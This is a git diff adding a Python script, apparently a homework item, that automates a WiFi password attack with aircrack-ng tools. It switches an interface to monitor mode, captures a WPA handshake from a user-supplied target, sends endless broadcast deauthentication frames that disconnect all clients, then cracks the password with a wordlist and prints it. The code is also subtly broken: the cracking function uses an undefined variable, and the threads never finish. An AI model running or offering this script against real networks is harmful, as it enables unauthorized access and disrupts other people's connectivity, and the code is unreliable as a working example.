diff --git a/hw7/gpt4/app.py b/hw7/gpt4/app.py
new file mode 100644
index 0000000..ca34e53
--- /dev/null
+++ b/hw7/gpt4/app.py
@@ -0,0 +1,67 @@
+import os
+import subprocess
+import threading
+
+def run_command(command):
+    """Run a shell command with sudo and return the output."""
+    result = subprocess.run(['sudo'] + command, capture_output=True, text=True)
+    return result.stdout
+
+def change_mode(interface, mode):
+    """Change the mode of the wifi interface."""
+    run_command(['ifconfig', interface, 'down'])
+    run_command(['iwconfig', interface, 'mode', mode])
+    run_command(['ifconfig', interface, 'up'])
+
+def start_monitor_mode(interface):
+    """Start monitor mode on the specified interface."""
+    run_command(['airmon-ng', 'start', interface])
+
+def stop_monitor_mode(interface):
+    """Stop monitor mode on the specified interface."""
+    run_command(['airmon-ng', 'stop', interface])
+
+def capture_handshake(interface, bssid, channel):
+    """Capture the handshake for the specified BSSID."""
+    run_command(['airodump-ng', '--bssid', bssid, '--channel', channel, '-w', 'capture', interface])
+
+def deauthenticate(interface, bssid, client):
+    """Deauthenticate a client to capture the handshake."""
+    run_command(['aireplay-ng', '--deauth', '0', '-a', bssid, '-c', client, interface])
+
+def crack_password(cap_file, wordlist):
+    """Crack the password using aircrack-ng."""
+    result = run_command(['aircrack-ng', '-w', wordlist, '-b', bssid, cap_file])
+    return result
+
+def main():
+    interface = input("Enter the name of your wifi interface: ")
+    bssid = input("Enter the BSSID of the target network: ")
+    channel = input("Enter the channel of the target network: ")
+    wordlist = input("Enter the path to your wordlist: ")
+
+    # Change to monitor mode
+    change_mode(interface, 'monitor')
+    start_monitor_mode(interface)
+
+    # Capture handshake
+    capture_thread = threading.Thread(target=capture_handshake, args=(interface, bssid, channel))
+    capture_thread.start()
+
+    # Deauthenticate clients
+    deauth_thread = threading.Thread(target=deauthenticate, args=(interface, bssid, 'FF:FF:FF:FF:FF:FF'))
+    deauth_thread.start()
+
+    capture_thread.join()
+    deauth_thread.join()
+
+    # Crack password
+    password = crack_password('capture-01.cap', wordlist)
+    print(f"The password is: {password}")
+
+    # Change back to managed mode
+    stop_monitor_mode(interface)
+    change_mode(interface, 'managed')
+
+if __name__ == "__main__":
+    main()